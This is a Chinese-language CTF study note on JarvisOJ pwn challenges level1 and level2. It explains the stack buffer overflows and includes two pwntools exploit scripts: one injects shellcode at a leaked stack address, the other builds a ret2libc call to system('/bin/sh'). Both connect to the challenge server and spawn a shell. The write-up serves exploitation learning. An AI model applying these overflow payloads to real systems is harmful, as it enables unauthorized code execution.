今天学习了pwn三道简单题,发现一个规律,pwn题都绕不开写脚本,脚本主要内容根据情况而定,记录如下
文件直接用编辑器打开是看不到内容的,是一堆16进制代码,只能直接放进ida中查看。
level1:ida打开进入main函数的伪代码,具体操作不再累述:
上图可看出主函数由 vulnerable_function()和write()函数组成,点开vulnerable_function()函数,可以看到其中的printf()函数有变量“&buf”,这是关键,上面有关于buf的注释:表示从栈低只buf的栈空间为0X00至0X88,可看做栈的大小,附栈表示图:
附栈表示图:
而return函数有一变量为0x100u,很明显,溢出了,但是我这次没有找到system函数和bin/sh字符串了,但是发现了printf,输出了buf的地址,在结合NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转到buf位置,就可以执行shellcode了,示意图如下:
写得脚本 。(目前还不会写脚本,借的代码…)
from pwn import *
context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)
p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()
将脚本在ubuntu虚拟机中运行:最后 cat flag
level2:
首先用checksec查一下保护。NX开启了。
整体思路与level0差不多,但是还是有一点区别:我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。写得脚本如下。:
from pwn import *
conn=remote("pwn2.jarvisoj.com","9878")
e=ELF("./level2")
sys_addr=e.symbols['system']
pad=0x88
sh_addr=e.search("/bin/sh").next()
payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr )
conn.sendline(payload)
conn.interactive();
运行脚本得到答案